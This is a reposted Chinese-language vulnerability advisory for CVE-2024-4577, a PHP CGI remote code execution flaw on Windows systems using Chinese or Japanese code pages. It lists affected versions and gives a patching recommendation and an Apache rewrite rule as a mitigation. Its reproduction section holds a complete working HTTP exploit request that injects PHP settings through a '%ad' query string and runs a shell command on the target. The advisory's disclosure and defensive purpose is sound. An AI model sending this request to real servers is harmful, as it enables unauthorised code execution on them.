# 转载
本文出自:【CVE-2024-4577】PHP CGI 远程代码执行漏洞 - 极核GetShell (get-shell.com)
# 漏洞描述
PHP 语言在设计时忽略Windows 作业系统内部对字元编码转换的Best-Fit特性,导致未认证的攻击者可透过特定的字元序列绕过旧有CVE-2012-1823的保护,透过参数注入等攻击在远端PHP 服务器上执行任意代码。该漏洞在特定PHP版本和简体(繁体)中文、日语语言等语言环境下的Windows平台,可以绕过CVE-2012-1823的保护。
# 影响版本
- PHP 8.3 < 8.3.8
- PHP 8.2 < 8.2.20
- PHP 8.1 < 8.1.29
- Windows平台的语言环境
- 繁体中文(字码页950)
- 简体中文(字码页936)
- 日文(字码页932)
- 对于其它执行在英文、韩文、西欧语系之 Windows 操作系统,由于 PHP 使用情境广泛、暂无法完全列举并排除其利用情境,因此还是建议用户全面盘点资产、确认使用情境并更新 PHP 至最新版本确保万无一失!
# 修补建议
- 更新到PHP官方发布的最新PHP版本
- 如无法更新建议编写Rewrite 规则阻止攻击,注意:此份规则只作为繁体中文、简体中文及日文语系中的暂时性缓解机制,建议以更新版本进行修复
RewriteEngine On
RewriteCond %{QUERY_STRING} ^%ad [NC]
RewriteRule .? - [F,L]
# 漏洞复现
GET /test.php?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp://input HTTP/1.1
Host: 172.17.148.112
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 31
<?php echo shell_exec('dir');?>